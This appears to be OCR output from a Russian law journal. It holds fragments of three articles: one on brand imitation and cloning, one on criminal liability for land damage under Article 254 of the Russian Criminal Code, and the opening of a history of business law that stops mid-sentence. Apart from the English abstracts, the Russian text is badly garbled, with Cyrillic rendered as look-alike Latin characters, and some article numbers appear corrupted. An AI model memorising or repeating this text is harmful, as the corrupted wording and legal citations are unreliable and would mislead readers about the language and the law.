[IPU3HABATbCSA KOMMPOBaHUE (MMUTALMSI) BHEIIHETO BU/IA M3/IENIUS UM €r0 4acTel, ecau Takoe
KOMHUPOBaHUE 00YCIOBJICHO UCKITIOUUTENHHON UX (QYHKIIMOHATBHBIM IPUMEHEHHEM.

Ilo crenenn «TBOpUYECKUX» U3MEHEHUH MTPOTOTUIIA BBIJIEISIFOT IBA IMUTAIIMOHHBIX TUTIA:
a) «pororpadguueckoe CXOJICTBO»; 0) «CXOMHBIA 10 CTENeHW cMemaHus». [lo creneHm
3aMMCTBOBAHMS IM3aliHA U PEKJIIAMHOTO CJIOTaHA: a) «UTpa CJIOBY»; 0) CXOICTBO IO «OJEKKEN; B)
KOHTEKCTHBIN. [IpuMepaMu MMUTAaLMY BBICTYIIAOT: UHTEPHET-Mara3uH Mies, OTKpBITBI BMECTO
[IBenckoit Mken; paznuunsie Bapuanuu O6penaa Nike (Niki, Mike, Naik u Tomy momo6Hoe); B
GUCCI CAFE B MockBe KOMpYyeTCs HE caM TOBap M3BECTHOTO OPEH/1a, a CTHIIb U JIOTOTHIT JIS
pUMeHeHus B apyroii cdepe 6e3 cormacust camoro GUCCL

KrnonunpoBanue — 310 04€BUIHOE, Yallle BCETO TOYHOE, aBTOPCKOE MMOBTOPEHHUE CO3/IaHus,
KOTOpOE yX€ CTajo M3BeCTHbIM. KJIOH crocoOeH MoaydyuTh Takyl0 e H3BECTHOCTh, KaK U
NepBOHaYaIbHbIN NMpoAyKT. [locne yxona 3apyOekKHBIX KOMIAHHUH C POCCHMCKOIO pbIHKA, Ha
MOJIKaX Mara3uHOB BCE Yallle CTall MOSBISTHCS TOBApPBI-KJIOHBI 3apyOekHBIX OpeHnoB. Tak,
openn CBECC cran k1oHOM 3apy0ekHOTo ToBapHOTo 3Haka SYOSS, aHaIOruyHas CUTYAIHs C
MHOKECTBOM 3apyOeskHbIX OpennoB: Persil — Ilepcui; Fa — @a; Schauma — layma u qpyrue.

O>kuBJIEHHE — BHEAPEHHE AJIEMEHTOB UY>KOW MPOAYKIMH B CBOM MPOJIYKT C IMOMOIIBIO
oOpabotku. K maHHOMY BHIy MHUMHKpPHH OTHOCHTCS TIEPEBBIINYCK YCIEUIHBIX B MPOILIOM
TOBapoOB C TNpHUMEHEHHeM O0O0paboTkM B BHUJE peOpeHIuHra, MyTEM H3MEHEHHS IBETOBOU
MAJIMTPBI BHEIIHETO BUAA IPOAYKTA UIIN K€ CTUIIUCTHKHU «PETPO».

CpaBHUBasi Bce Pa3HOBHIAHOCTH MHMHKPHUH, MBI MOXEM CJ/IelaTh BBIBOJ O TOM, UYTO
MOJJIENIKa M MMHUTALMS — 3TO HapylIeHHE aBTOPCKHX MpaB, MPECTyIUICHHE B cdepe IMpas
COOCTBEHHOCTH, a OXKHMBJICHHE BBICTYHAe€T B POJIU MPO(ECCHOHATBLHOrO MpHEMa, MMEIOIEro
LENbI0 TOBBIIICHUE TPHUBICKATEIILHOCTH TMPOAYKIMU IYTEM HE3HAYUTENBHBIX W3MEHEHUH
OpPUTHHAIBHOTO OpeH/Ia.

Nogakown
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AHHOTANA

CraTbs TOCBAIIEHA PACCMOTPEHHIO YTOJIOBHON OTBETCTBEHHOCTH 3a IMOPYY 3EMIIH.
ABTOpOM CTaThMl PAacCMOTPEHBI OOBEKTUBHBIE U CYOBEKTUBHBIE TMPH3HAKH COCTaBa
MpecTyIieHus, npeaycMorpeHHoro cr. 254 YK P®, a taxxke npoaHaluM3upoBaHa MPAKTHKA
MIPUBJICYCHHS K YTOJIOBHOM OTBETCTBEHHOCTH 3a TIOPUY 3€MII B 3apYOEIKHBIX TOCyAapcTBax. B
KadyecTBe MpoOJeMbl MPABOBOTO PETYIUPOBAHUS aBTOPOM CTAaThbU BBIJIEJIEHO HECOBIAJICHUE
00beMa OOBEKTUBHBIX MPU3HAKOB aMHHUCTPATHBHOTO IMPABOHAPYIICHUS 33 MOPUY 3EMIIM U
MPECTYIUIEHHsI, YTO TOPOXIAeT MPOOETbHOCTh MPABOBOIO PETYIHPOBAHUS FOPUIHMUYECKON
OTBETCTBEHHOCTH 32 TIOPYY 3€MJIM U CHHXKACT d3P(PEKTUBHOCTD 3AIIUTHI 3MJIH KaK MPUPOIHOTO
00BEKTa OKPYKAIOIIEH CpeIbl.

KiroueBble ci10Ba: yYrojioBHas OTBETCTBEHHOCTb, JKOJIOTMYECKHE TMPECTYIUICHHUS,
IOPUINYECKasi OTBETCTBEHHOCTD, TOpYa 3€MJIH, OTBETCTBEHHOCTD 32 MOPUY 3EMJIH.

Abstract

The article is devoted to the consideration of criminal liability for land damage. The
author of the article examines the objective and subjective signs of the corpus delicti provided for
in Article 254 of the Criminal Code of the Russian Federation, as well as analyzes the practice of
bringing to criminal responsibility for land damage in foreign countries. As a problem of legal
regulation, the author of the article highlights the discrepancy between the scope of objective
signs of an administrative offense for damage to land and crimes, which creates a gap in the legal
regulation of legal liability for damage to land and reduces the effectiveness of protecting land as
a natural object of the environment.

Keywords: criminal liability, environmental crimes, legal liability, land damage,
responsibility for land damage.

ITpuponooxpaHHas 1ESTEIBHOCTh B POCCUMCKOM I'OCYAapCTBE OCHOBBIBAETCS HE TOJIBKO
Ha HEOOXOAMMOCTH OOECIeUYeHHUs] IMPaBOBOTO PETYIUPOBAHUS TIOPSJIKA B3aUMOJCHCTBUS
YeJoBeKa C OKpYXalllel cpefoil, HO M ycTaHOBJIEHHS 3(QPEKTUBHBIX MEp HOPHIMYECKOM
OTBETCTBEHHOCTH, KOTOpble Obl OOECHeurBaIl HWCHpPABICHUE CYOBEKTOB, HAPYILUBIINX
MIPUPOIOOXPAHHBIEC TIPABUJIA, @ TAKXKE BOCCTAHOBJICHHE COLIMAIBHOMN crpaBeamBocTu. K uncmy
3¢ GEKTUBHBIX CIIEIyeT OTHECTU MEPhl YIOJIOBHOW OTBETCTBEHHOCTH, IPUMEHSEMBIE K JIMILY 32
COBEPLICHHE IKOJIOTMYECKUX NPECTYIUIEHU.

3eMiIsl SIBJISIETCSI OJTHUM M3 KOMIIOHEHTOB HPUPOJIHON CpeJibl, BHICTYNAIOIINM O0BEKTOM
oxpanbl. Ctateeii 254 YK P® npenycMoTpeHa yronoBHas OTBETCTBEHHOCTD 3a IOPUY 3€MIIM:
«OTpaBieHue, 3arps3HeHUe WIM MHAs Topya 3€MJIM BPEOHBIMH MPOAYKTAMH XO3SIIICTBEHHOMN
WIA WHOW JEATEIIbHOCTH BCIEACTBUE HAPYIICHUS TMPaBHI OOpAlICHUS C YIOOpEHHSIMHU,
CTUMYJISITOPaMU POCTa PACTEHUH, SIOXMMHUKATaAMU W MHBIMU ONACHBIMA XUMHYECKHUMU HIIU
OMOJIOTMUECKUMH BEIIECTBAMU NPU WX XPAaHEHWH, HWCIOJIB30BAaHUM U TPAHCIIOPTHPOBKE,
MOBJICKIIME MPUYMHEHUE BPEIa 3I0POBbIO YEJIOBEKA MIIH OKpYyKaroueit cpene» [1].

Poccuiickoe  3akOHOAATENIBHOE  PErYJIMPOBAaHME  YILOJIOBHOM  OTBETCTBEHHOCTHU
MpeayCMaTpUBAET JIOCTATOYHO OTPAHMYEHHBIC OCHOBAaHMS Il TPUBICYCHUS K YTrOJOBHOMN
OTBETCTBEHHOCTH 3a Tmopuy 3emiud. [lpexxae uero, OOBEKTMBHYIO CTOPOHY COCTaBa
MPECTYIUIEHUS, TTPeTycMOTPEeHHOTO CT. 254 YK P®, 00pa3yroT Takue IessHusl Kak OTpaBJICHHUE,
3arpsi3HEHME WK UHas ropya 3emiu [1]. MexanusMm peanusaiu yroloBHOW OTBETCTBEHHOCTH
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32 IOpYy 3€MJIM IPEAIIONIAraeT MPAaBHIbHYI) OLEHKY ACHCTBHMM, NOIMYIIEHHBIX CO CTOPOHBI
BUHOBHBIX JIMI, B CBA3U C Ye€M, Yy HPaBOINPUMEHUTENS JOJDKHO OBITh YETKOE MOHMMAaHHE
OTTPAHUYEHHUS TAKUX ACHUCTBUH KaK OTPABJICHHE, 3aIPSI3HEHNE WIIH MHON TIOPYH.

OtpaBieHue MOXHO CyHMTaThb Haubonee CHJIBHBIM BAapHAHTOM AaHTPOIIOT€HHOTO
BO3JICHCTBHSA CyOBEKTa YroJIOBHOM OTBETCTBEHHOCTH Ha IOYBY, KOTOPOE MPOSBIAETCS B TOM,
YTO TO04YBAa CTAHOBUTCS OMNACHBIM KakK JUIsl CaMOro 4eJOBEKAa, TaK M Ul JKUBOTHBIX M HMHBIX
’KHBBIX OPraHU3MOB, YTO MOXKET PUBECTH K THOENN YeJIOBEKA UJIH )KUBBIX OPraHU3MOB.

ITon 3arpsi3HEHHEM MOYBBI MOKHO TIOHMMATh U3MEHEHHE KaUE€CTBEHHOI'O €€ COCTOSHMUS,
KOTOpOE TMpOSIBIICTCS B BO3HMKHOBCHHMM B HEH TaKOrO YpPOBHA BPEIHBIX IIPOMYKTOB,
IIPEBBILLIAIOIIETO IOMYCTUMYIO HOPMY.

Nuoli mopuelt 3eMiin CleayeT OXBAaThIBaTh BCSKUE JEHUCTBUSA, KOTOPBIMU YXYIIIACTCS
COCTOSIHHE ITOYBBI.

[lanee cnenyer NPOKOMMEHTHPOBATh, YTO BUHOBHOE JIMLO IOJUIEKWUT YrOJIOBHOU
OTBETCTBEHHOCTH 32 XOTs ObI OIHO U3 BBILIETIEPEUUCICHHBIX JIEIHUM TOJIBKO B TOM CIIy4ae, OHU
COBEpLICHBI IIPY NPUMEHEHUU BPENHBIX MPOAYKTOB XO3AHWCTBEHHOW WJIM WHOM IEATEIBHOCTU
BCJIEJICTBHE HApYyILIEHUS MPaBUJI OOpAIIEHUs C yIOOPEeHUSIMU, CTUMYJISITOPAMU POCTA PACTEHUMH,
SJOXUMHMKAaTaM{ 1 MHBIMU OITACHBIMHM XHUMHUYECKUMH WM OUOJIOTMYECKMMU BEIIECTBAMU MTPU HX
XpaHEHUH, MCIIOJIb30BAHUU U TpaHcnoptupoBke. Clie0BaTEIbHO, COCTAB MPECTYIUICHHUS,
npeaycMoTpeHHsblid cr. 254 YK P®d, obpasyercst TOIBKO B TOM CIydae, €Cid MpH XpaHEHUH,
WCIMOJIb30BaHUU WM TPAHCIIOPTUPOBKE YKA3aHHBIX B JUCIIO3ULIMHA KOMMEHTUPYEMON YTOJIOBHON
HOpPMBI OBUIM HapyIIeHbl MpaBwiia oOpalleHus ¢ HUMHU. B MpOTUBHOM cilyyae, NMpaBHIIBHOE
oOpallleHHe C BEIEeCTBAMU MPH HACTYIUIEHMM OOIIECTBEHHO-OMACHBIX IOCIEICTBUM HE
o0pa3yeT coCcTaB NMPECTYIICHUS.

[To KOHCTPYKIMK OOBEKTUBHON CTOPOHBI COCTAaB MPECTYIUICHHS, IPETyCMOTPEHHBIN CT.
264 VYK P®, sBugercs MarepualbHbBIM COCTaBOM  IPECTYIUIEHHs, IOTOMY 3a
BBIILIETIEPEYUCIICHHBIE JIESHUS JIMIO MPUBJIEKAETCS K YTOJOBHOM OTBETCTBEHHOCTH TOJIBKO B
cllydae HACTYIUICHUSI OOIIECTBEHHO-OMACHBIX IIOCHEJICTBUI B BUAE TNPUYMHEHHS Bpeaa
3JIOPOBBIO YEJIOBEKa WM OKpyxarorieit cpene (4. 1 cr. 254 YK P®) mubo mo HeoCTOpOKHOCTH
cmeptd  yenoBeka (4. 3 cr. 254 YK P®). U3noxxeHHOE TOBOPUT O TOM, YTO B OTCYTCTBHE
HACTYIJICHUs1 OOIIECTBEHHO-0MACHBIX MOCIIECTBUI OTCYTCTBYET M COCTaB MPECTYILICHUS.

[Ipennaraercs mpoaHaNIW3UpPOBaTh, KaK BOMPOC 00 YroJOBHOM OTBETCTBEHHOCTH 32
Mopuy 3€MJIM pelaeTcss B TMPAaBOBBIX CHCTEMax 3apyOeXHBIX TOCYIapcTB. 3eMisl Kak
BOKHEHIINN TMPHUPOTHBIA KOMIIOHEHT OXpaHSeTCs M TpaBe 3apyOekKHBIX TOCYIapCTB
MEXaHU3MOM YTOJIOBHOM OTBETCTBEHHOCTH. Hampumep, yronoBHoe 3akoHoaarenbctBo DPIT
TaKKe MPEAYCMaTPUBAET YTOJOBHYIO OTBETCTBEHHOCTD 3a IOPYY 3€MJIM, OJJHAKO YCTaHOBIIEHO,
YTO JIMLO NPUBJIEKAETCSI K OTBETCTBEHHOCTH 32 JIIOOBIE NEHCTBHSA, KOTOPHIMU OblIa JOIYyIIEHA
nopya 3eMJIH, NPH 3TOM O0S3aTeNbHBIM SBISCTCS HACTYIUIGHHE 3HAYMTENIBHOTO Bpeaa
OKpYXXarolied cpelasl JHOO0 3740poBbIO0  4YesnoBeka. (leoBaTesNbHO, YrOJOBHO-IIPABOBOE
peryJIiupoBaHie OTBETCTBEHHOCTH MO mopuy 3emuin B OPI" oxBaTbiBaeT Oonee MUPOKUA Kpyr
NESTHAN, KOTOPBIE BIEKYT NPUYHMHEHHE Bpela 3I0POBBIO YEJIOBEKA WM OKDYXKAIOIIEH Cpene.
IIpy TakoM COOTHOLIEHMM YrOJOBHOM OTBeTCTBeHHOCTH B Poccum m @PI' 3a mopuy 3emimn
clielyeT BbIBOJI O OOJIbIIIEH YHUBEPCATBHOCTH YTOJIOBHOM OTBETCTBEHHOCTH B 3aKOHOJATEILCTBE
OPT.

VYronoBHoe 3akoHomatenbcTBO Typumu, KHP, IlIBenuu aHamornyHo poCCHCKOM
IIPaKTUKE [PABOBOIO PErYJIMPOBAaHMs YrOJOBHOW OTBETCTBEHHOCTH 3a IOpYYy 3€MJIU
YCTaHABIUBAIOT JIUILb OTACIbHBIC BUBI JESIHUN, IPUBOAIINE K IPUYMHEHUIO BpeJa 310POBbIO
YeJI0BEKa U OKPYKaIoLIeH cpejie, MPU3HAIOIIMECS YTOJI0BHO-HaKa3yeMbIMu [2, c. 177].

OTBETCTBEHHOCTh 3a IOpYYy 3€MJIM IIPELYyCMAaTPUBACTCS aJMUHHMCTPATUBHBIM U
YTOJIOBHBIM 3aKOHOJATEIbCTBOM. ['pajarus 10puauyeckoil OTBETCTBEHHOCTH, MPOSIBIIAIOLIAsICS
B YKECTOYEHHMH MEp OTBETCTBEHHOCTH, NPSMO 3aBUCUT OT Xapakrepa U OOIIECTBEHHOIl
OMACHOCTHU HapylleHMs, a Takxke mnocieacTsuid. Ilpu permeHun Bompoca O COOTHOIIEHUH
aJIMUHHMCTPAaTUBHOM M YTrOJIOBHOM OTBETCTBEHHOCTH YYMTBIBAETCS, YTO JAESHUS, 3a KOTOPBIE
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IPElyCMOTPEHA YrOJIOBHAsI OTBETCTBEHHOCTb, HE JOJIKHBI OXBATBHIBAThCSA aIMHHUCTPATUBHON
OTBETCTBEHHOCTBIO, B IIPOTMBHOM CJy4ya€ BO3HHMKAECT KOJUIM3MOHHOE pETYJIUPOBAaHUE U
YCTaQHOBJICHHUE 3a OJTHO U TO YK€ HapyILIEHHE PAa3IMYHBIX BUIOB IOPUIMUYECKON OTBETCTBEHHOCTH.

OOpamrasice k m. 2 cr. 8.6 KoAIl P®D, MoXHO 3aMeTuTh, UYTO MpPEAyCMOTPEHA
OTBETCTBEHHOCTh 3a IIOpUy 3€Melb B pe3ylbTaTe HAPYIICHUS MpaBUI OOpaIleHus C
NECTHLNAAMH U arpOXMMHUKATaMHU WA UHBIMU OIACHBIMH JUIS 3710pOBbs JIIOAEH M OKpYKaroleH
cpenbl BELIECTBAMU M OTXOJaMU INPOU3BOJACTBA W moTpebnenus [3]. B nanHom ciyyae He
HapylleHa JIOTMKAa 3aKpeIUIEHUs IOPUINYECKONM OTBETCTBEHHOCTHM M COOTHOILIEHUE
aJIMUHHCTPAaTUBHOM M YTOJIOBHOM OTBETCTBEHHOCTH, IIOCKOJBKY IIPH MPHUBICYEHUH K
a/IMUHHCTPATUBHOM OTBETCTBEHHOCTH JMCIO3MIMEN CTaTbU HE OXBATHIBAETCS HACTYIUICHUE
OOILIECTBEHHO-OIIACHBIX TOCJIEJCTBUM B BHAE NPUYMHEHUs Bpela 370pOBBIO YEIOBEKAa WIH
OKpYXXarolllel Cpefie, HaCTYIUIEHHME CMEPTH YeJIOBEKA 10 HEOCTOPOXKHOCTU. OIHAKO B HOpPME,
yCTaHaBJIMBAIOIIEH aJJMUHUCTPATUBHYIO OTBETCTBEHHOCTb 32 MOPYY 3€MJIM, HE YUTEHBI Takue
3JIEMEHTHI OOBEKTUBHON CTOPOHBI KaK 1OpYa 3eMJIM CTUMYJIATOPAMH pOCTa pacTeHUH, KOTOpbIe
HE MOBJICKJIM OOILIECTBEHHO-OIACHBIX MOCIIECTBHHA.

[IpencraBnsercs, 4To OpUANYECKas OTBETCTBEHHOCTh A(PPEKTUBHA TOIBKO TOI/1a, KOTr/1a
3aKOHOJATENIEM YUTEHbI BCE OOIIECTBEHHO-ONACHBIE JEHCTBUS M BO3MOXKHBIE MOCIEACTBU. B
CBSI3H C YeM, HOpMa 00 OTBETCTBEHHOCTH 3a MOPYY 3€MJIM B POCCUHCKOM aJIMUHUCTPATUBHOM U
YTOJIOBHOM 3aKOHOJATENbCTBE JOJDKHBI COBMNAAAaTh IO 00BEMY [JEsHUM, 00pa3yroImux
OOBEKTUBHYIO CTOPOHY NpaBOHAPYILEHHS W MPECTYIUIEHHs, HO HE JOJDKHBI COBHAJIATh IO
XapaKkTepy U COJEPKaHMIO OOILECTBEHHO-ONACHBIX IOCIEACTBUI, KOTOPBIE U BBICTYNAIOT
KPUTEPHUSIMU JUIs OTTPAaHUUYEHUS IPABOHAPYLIEHUS U IPECTYILICHHUS.

Takum 00pa3om, MpeACTaBICHHBI aHAIN3 YrOJIOBHOW OTBETCTBEHHOCTH 3a TOpPUY
3eMJIM, TMPOBEJEHHOE COOTHOILEHHE OTBETCTBEHHOCTH 3a IMOpYYy 3€MJIHM B POCCHUICKOM
YIOJIOBHOM U aJMHHHUCTPATUBHOM 3aKOHOJATEJIbCTBE, a TAKXKE IIPAKTHKa IPUBJICYECHUS K
YTOJIOBHOM OTBETCTBEHHOCTH 33 aHAJIOTMYHOE MPECTYIJICHUE B MPaBe 3apyO0e:KHBIX TOCYIapCTB,
MO3BOJISIET CJeNaTh clienyrolue BbIBOAbL [Ipexkne Bcero, poccuiickasi yrojloBHO-TIpaBOBas
HOpMa 00 OTBETCTBEHHOCTH 3a IOpYY 3€MJIM HE YHHMBEpCaJbHAa C TOYKU 3pEHHUS TeX JAESHUH,
KOTOpBIE OXBAaTHIBAIOTCS MPHU3HAKAMU €€ OOBEKTHBHOW CTOPOHBL Omnmpasich Ha 3apyOeKHBIN
OIIBIT IIPABOBOIO PEryJMpPOBaHMsS OTBETCTBEHHOCTH 3a IIOpYY 3€MIIH, CJIEAYyEeT OOpaTUTh
BHHMaHME Ha MPAKTUKY KBATU(HUKALIUM ITOPYM 3€MJIH TI0 YTOJIOBHOMY 3aKoHONaTenbeTBy OPT,
B KOTOPOM YHHBEPCAJIbHOCTh HOPMBI NPOSIBISETCS B OTCYTCTBMM OTPAHUYEHHOIO TOJKOBAHUS
NepeyHs JesSHUH, KOTOPBIMH MOXET OBbITh HPUYMHEH Bpel 3J0pPOBbIO UEJIOBEKa JIMOO
OKpyXkarolen cpeze. bonee toro, B mpaBoBor cucreMme Poccuiickoil Penepanun 3eMisl Kak
IIPUPO/IHBIM KOMIIOHEHT OXpaHsAeTCd HOpMaMM aJMUHUCTPATUBHOIO IIpaBa yrojOBHOTO IPaBa.
B kadecTBe kpuTepus IJis BBIAEICHUS YrOJOBHOW M JMUHHMCTPAaTUBHOM OTBETCTBEHHOCTH 3a
MOpYy 3€MJIH CIY>KaT OOLIECTBEHHO-OMACHBIE MOCIECTBUS, OJJHAKO 10 00BeMY OOBEKTUBHBIX
NPU3HAKOB IIPABOHAPYLIEHUE U IIPECTYIUIEHHE, CBSA3aHHbIE C IOpYEH 3eMJM, JOJDKHBI
COBIMAJIaTh, YTO MO3BOJIUT M30€XaTh BCIKHUX MIPOOEIIOB.
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AHHOTAIINA

B cratee mpencTaBieH PETPOCTIEKTHBON aHAJM3 Pa3BUTHS TPEANPHHUMATEITHCKOTO
mpaBa Kak orpaciu B Poccuu. ABTOpPOM CTaTbu MpHBEJEHA NEPUOIU3ALMUS HUCTOPHUECKOTO
pa3BUTHS NPEANPUHUMATEIHCKOTO MpaBa, ONpeaesieHbl (PaKTOPbl, CIOCOOCTBYIONINE PAa3BUTHIO
MIPENPUHUMATEIIBCKOTO MPaBa B POCCHICKOM T'OCYIapCTBE.

KaroueBnie  cioBa: WUCTOpUSL ~ MNPEANPUHUMATENIBCKOIO  [paBa,  Pa3BUTHE
MIPEIMTPUHUMATENIBCKOTO MPaBa, OTPACIb MPEANPUHUMATEIHCKOTO MIPaBa, X03IiCTBEHHOE TIPABO.

Abstract

The article presents a retrospective analysis of the development of business law as a
branch in Russia. The author of the article provides a periodization of the historical development
of business law and identifies the factors contributing to the development of business law in the
Russian state.

Keywords: history of business law, development of business law, branch of business
law, business law.

IIpennprHIMaTENBECKOE TIPABO B MpaBoBOM cucteMme Poccniickoi denepanny nosBUIOCH
3HAUUTENIFHO TO3[JHEeE JPYTUX OTpacieil poccuicKoro mpaBa. B 3apy0e:kHOM MpaBOBOM
IIPOCTPAHCTBE MPEANPUHUMATEIBCKUE IPABOOTHOIIECHUS U NPEANPUHUMATEIBCKOE MIPABO KAK
caMmoCTOsITeNIbHAsT OTpacib Hayalu (OPMHPOBATHCS paHbILE, YeEM B POCCHHCKOM TOCY/IapCTBE.
JlanHOo€ ~ OOCTOSITENBCTBO  OOBSCHSIETCS  TeM, 4YTO  OOJNBIIMHCTBO  COBPEMEHHBIX
3aI1aJHOEBPOIICHCKUX TOCYJAapCTB IPUIUIM K KanuraausMy nepsee, 4eM Poccus, a
MHAyCTpHaIM3alusl oOLlecTBa MOpPOJMIa BO3HMKHOBEHHE CIIELUATBLHOM OTpaciu, KOTopas
peryinupyer JaHHyI chepy OOLIECTBEHHBIX OTHOIIEHMH. OIHAKO I'eHe3UC JAaHHOM OTpaciu
Ha0JIr0/1aeTCsl B OTEUECTBEHHOM IIPaBE U TOCY/AapPCTBE C APEBHUX BPEMEH.

UepTbl NOpeANpUHUMATENBCKON  AESITENBHOCTH  MPOCJIEXKUBATIACh B TOPrOBOM
JEATEIILHOCTU B ApEBHEPYCCKOM rocynapcerse. [IpumepHo k koHuy VIII — Havany IX BB. cTanu
MOSIBIIATECS. MCTOYHMKHM JPEBHEPYCCKOIO IIPaBa, PEryIMPYIOLIME TOProBBIE OTHOLICHUS, B
YaCTHOCTH OTHOUIEHMS  KYIUIM-TIPOJAXH, CKJIQJbIBAIOIIUECS MEXIy [poJaBLAMU U
NoKymnaressiMA. [IepBble HOPMBI, ONPEACISAIOIIME IOPSAOK TOPrOBIM, IMPELyCMaTPHUBAIUCH
Pycckoii [TpaBnoi.

Crnenyrolye 3Ha4MMble H3MEHEHNS B Pa3BUTUN NIPEANIPUHUMATEIBCKOMN IEATENBHOCTH U
MPEANPUHUMATENLCKOTO [IpaBa B OTEUECTBEHHOM TOCYJIapCTBE HAOMIONAIOTCS B MEPUOL
aOcomoTtu3smMa M cBszaHbl ¢ pedopmaropckoil nestenbHocThio Iletpa 1. Ilpexne Bcero, B
paccMaTpUBaeMblii HMCTOPUYECKUN NEpPHOJ TMOSIBUINCH IEpBble OpraHU3allMOHHbBIE (POPMBI
CYOBEKTOB 3aHUMAIOLINXCS X035 HCTBEHHON AEATEIbHOCTH (KOMIIAHNH, apTeIi, TOBAPUILECTBA),
a TaK)Ke TIOCYIAapCTBEHHBIE YUPEKICHMs, KOHTPOIUPYIOLIME OCYILECTBICHHUE JEATEIBHOCTH
yKa3aHHBIMU OPTaHU3ALUSIMHU.

Ha pybexe XX B. dhopMupoBaHHEM TPEANPUHUMATEIHCKOTO MpaBa B OTECYECTBEHHOM
MPaBOBOM CHCTEME 3aMHTEPECOBAJICS COBETCKUM y4eHbIH ['olbapr, Mo MHEHHIO KOTOPOTo IMpH
CYIIECTBOBAaHMM YACTHOTO MpaBa M IMyOJMYHOrO NpaBa U CTUPAHUU MEXAY HUMH TPaHUI]
MOSIBIISIETCS X03s1iicTBeHHOE TpaBo [1, c. 60]. CTOUT Takke OTMETUTh, YTO B COBETCKUMN MEPHUOJ
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pa3BUTHUS TOCYNApCTBa NPEANPUHUMATENIBCKOE IPABO HE MOIVIO CYILIECTBOBATH OPraHUYECKH,
IIOCKOJIBKY M/IEW PBIHOYHBIX OTHOLIEHMH KapAMHAJIBHOIO MPOTHUBOPEUYMIIM B3IVIAAAM COBETCKOM
BJIACTH Ha pa3BUTHE SKOHOMUKHU B FOCYIapCTBeE.

OCHOBOIOJIO)KHUKOM DPa3BUTHs COBETCKOW 3KOHOMMYECKOW MBICIH Ha pyoexe XX B.
npusHaeTea [LU. Crydka, o MbICIM KOTOPOrO COBETCKasi SKOHOMHUKA IpEICTaBIE€HA JBYMs
CEeKTOpaMHM: YaCTHBIM M COLUMAIMCTUYECKMM. Mexny TeM, TOCTENEHHOE pPa3BUTHE
COIIMAIMCTUYECKOTO CEKTOpa JOJDKHO OBbUIO BBITECHUTh YACTHBIA CEKTOp W3 SKOHOMHUKHU
coBeTckoro rocymapctBa. Ilpumepno k 30-M romam XX B. MO pe3yjibTaTaMm 3aBEpIICHUS
peanuzanuu HOBOW skoHOMuuYecko momutuku (HOII) corumammcTudeckuil CeKTOp COCTABHII
OCHOBHOM  KJacTe€p COBETCKOM 3KOHOMHUKM. OTCYTCTBHE MpaBOBBIX OCHOB  JUIS
MIPEIIPUHAMATENBCKUX OTHOIICHWH HE MOIJIO IMOPOJAWTH PA3BUTHE NPEANPUHUMATEIIHCKOTO
IpaBa B COBETCKOM T'OCYIapCTBE, MOCKOJIBbKY PHIHOYHbIE OTHOUIEHHS OBUIM Uy>KEpOJHbI JUIs
IUTAHOBOM COBETCKOM 3KOHOMMUKH.

Bo BtOopoii monoBune XX B. cTala 3apoKIaThCsl HaydyHash MBICIH IO TpoOieMam
X035MiCTBEHHOrO mpaBa. JIOKTpMHAa XO3fiCTBEHHOro TMpaBa Obula TPEJCTaBICHBI B
(GbyHIaMEHTAIbHBIX paboTax, KOTOpble ObUIM cO3/1aHbl HoA pykoBoacTtBoMm B.B. Jlanrema, u
OJITHM W3 BBUIAIOIIUXCS TPYIOB cTaja MoHorpadus Ha temy ««Teopernueckue mpoOiaemMbl
XO3SIMICTBEHHOT'O TIPaBay, B KOTOPOM 3aTParuBaIMCh MPOOJIEMbI XO3IHCTBEHHOM JIEATEIILHOCTH B
COBETCKOM TOCYJIapCTBE M  AaCMEKTbl PYKOBOJCTBA  XO3SMCTBEHHOW  JI€ATEIBHOCTHIO.
AKTyanbHOCTh Hay4yHOW paOOThl Ha YKa3aHHBIH MCTOPUYECKHH IPOMEKYTOK COBETCKOI'O
rocynapcTa coctosia B ToMm, 4ro B.B. JlanteBsiM ObutH chopMyIupoOBaHbl MPEATIOKEHHS 110
COBEPLICHCTBOBAHUIO  COBETCKOI'O  3aKOHOJATelIbcTBA B 00JAaCTH  OCYIIECTBICHUS
XO3MCTBEHHON JIEATENBHOCTH I'OCYJAPCTBEHHBIMU MPENNPUATHAMHE U yUpexaeHusIMu. bonee
TOTr0, 3HAYMMOCTh KOMMEHTHPYEMOTO HayYHOI'0 Tpy/ia JJIsl Pa3BUTUS B COBETCKOM I'OCY/IapCTBE
XO3SIICTBEHHOI'O TpaBa KaK CaMOCTOSITEIbHOW OTPACIM CTaJO PACCYXKACHHE O TOM, 4YTO B
COBETCKOM T'OCYAApCTBE JOJDKEH OBITh MPUHAT KOAW(PHUIMPOBAHHBIA HOPMATUBHBINA MPaBOBOM
aKT, YHUPUIMPYIOUINIA TpaBuia BeJCHHUS X03SHCTBEHHON NEATEIbHOCTH KaK TOPU30HTAIH, TaK
Y 1O BepTUKaAJH [2, c. 156].

Kpome T1Oro, B paccmarpuBacMblii HMCTOPUYECKHUH IIEPUOJ CTaJIO Pa3BUBATHCSA
XO3SIMICTBEHHOE 3aKOHOJATENbCTBO, MOJ KOTOPHIM MOHMMAIaCh COBOKYIIHOCTh HOPMAaTHMBHBIX
MPABOBBIX AKTOB COIMAIIMCTUYECKOrO MpaBa, OOECIICUMBAIOUINX PETryJUpOBaHHE CYyOBEKTOB
XO3SIUCTBEHHOM JieaTebHOCTH [3, C. 5].

[Tocneqnee necsatunetrie XX B. 03HAMEHOBAJIOCH AJI1 POCCUICKOIO rOCY1apcTBa CMEHOM
HSKOHOMHMYECKON (opMaruu, MepexoJoM OT IUIAHOBOM K pBIHOYHOM SKOHOMHUKE, 4YTO
CYLIECTBEHHO  OTpa3sWjOCh Ha COJAEP)KAaHUM IIPAaBOBOTO  PETYIMPOBAaHUS  CYOBEKTOB
XO3SIMCTBEHHOM JesATeNIbHOCTU. Bo3poxkIeHue NnpeArnpuHUMAaTebCTBA CBSI3aHO C IPUHATUEM
3akoHOB CCCP «O0 mHamBuayasibHOM TpyaoBor aestenbHOCcTH (1986 1.), «O Koomepammu B
CCCP» (1988 r.), «O cobctBenHoctu B CCCP» (1990 r.), «O mnpeanpuatusx u
npeanpuHUMaTenbekon nestenbHocTh» (1990 r.), «O0 o0mux Havanax npearnpuHUMaTeIbCTBA
rpaxkiad B CCCP» (1991 r.), «O peructpaunoHHOM cOope ¢ (pU3NUECKHX JIULI, 3aHUMAIOIINXCS
MIPEITPUHUMATENIBCKOMN JIEATEIBHOCTBIO, U TIOpsAKE UX peructpamum» (1992 1.) [4, c. 104].

Koncrurynust Poccuiickoit denepannn siBUIach TOYKOW, CTaBIIEW OCHOBAaHUEM IS
TpaHchopMalui X03SUCTBEHHOTO TpaBa B MpeaNpHHAMATENBCKOE TpaBo. C MpoBo3riiameHneM
